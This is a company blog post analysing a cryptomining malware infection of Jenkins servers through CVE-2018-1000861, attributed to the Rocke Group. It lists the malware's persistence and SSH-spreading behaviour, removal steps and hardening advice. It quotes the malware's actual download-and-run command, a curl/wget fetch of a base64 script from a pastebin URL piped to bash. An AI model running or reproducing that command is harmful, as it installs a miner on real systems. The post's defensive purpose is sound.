A few days ago, our alert system notified us that several of the servers of some clients had a totally abrupt load growth in the system, even in some cases a direct downtime occurred.
After entering the systems, after a brief initial analysis of the Geko team, we detected that the systems had been compromised by an attack on them derived from a vulnerability in their Jenkins platform through the recognized exploit CVE-2018-1000861. To summarize, it basically allows you to inject and execute code on the server.
This scheme details the steps that the script does, but summarizing and after our analysis we basically detect:
- A curl and wget are run that directly downloads the base 64 script and runs it (curl -fsSL https://pastebin.com/raw/B3Ppi9ub||wget -q -O – https://pastebin.com/raw / B3Ppi9ub) | base64 -d | bash
- Depending on the operating system it has one behavior or another
- Install a service called netdns in which it makes a call to a binary which is the malware code called kerberods which limits the use of the CPU’s dedicating all -1 to the mining of cryptocurrencies
- Delete the / etc / hosts file
- Installs several cron files oanacroane and several such as the apache cron that constantly download the code and run it in case you want to stop the threat
- The process is configured to launch in runlevel 3
- The running binary process is camouflaged making it undetectable
- In debian systems we also detect the watchbdog process
- The initial script in addition to executing the binary and creating the process also accesses the known_hosts file and tries to jump using ssh cross-keys to other systems. Being a Jenkins system, this attack is more than likely to have an effect.
After several hours of investigation, we detected that it was necessary to run a busybox on Linux in order to eliminate the masked process. Geko used this: https://busybox.net/downloads/binaries/1.30.0-i686/busybox
And thanks to some processes in the repo https://git.laucyun.com/laucyun and our own scripts, we managed to eliminate the threat until we were able to secure the systems again and reinstall the compromised ones.
Keep in mind that attack scripts have a high level of depth and complexity, and despite being reverse engineered, as it is a constantly improving repository by the group of Chinese attackers “Rocke Group”, it is practically impossible to guarantee 100 % that the system is fully protected.
The most surprising thing of all is that a priori it is a malware that infects automatically and in the README of the malware code repo the group of hacker attackers indicate that their intentions are not to break anything, simply to identify security vulnerabilities and remove some “slice” mining cryptocurrencies without going any further … they even detail the possibility of helping in case the infected require support … which we obviously did not do.
Good practice guide:
- Avoid having curl and / or wget binaries in our systems
- Avoid running jenkins with root user
- Avoid publishing the jenkins service, ssh or any vulnerable service or port
- Have all the services, SO etc in the latest security version that the manufacturer indicates
- Avoid crossing ssh keys
- Maintain sanitation of known_hosts files
- Monitor 24X7 production systems with pre and proactive alerts
- Always check the backup content of our systems
- Version the scripts and files (crons, hosts, etc) to be able to recover the systems in case of attack
We leave you the link to our public repository where you have a first version of the cleaning script that we use summarized:
https://github.com/GekoCloud/cryptocurrency-mining-malware-clean-tool
From Geko we will be happy to help you in case of identifying this vulnerability in your system, contact us!
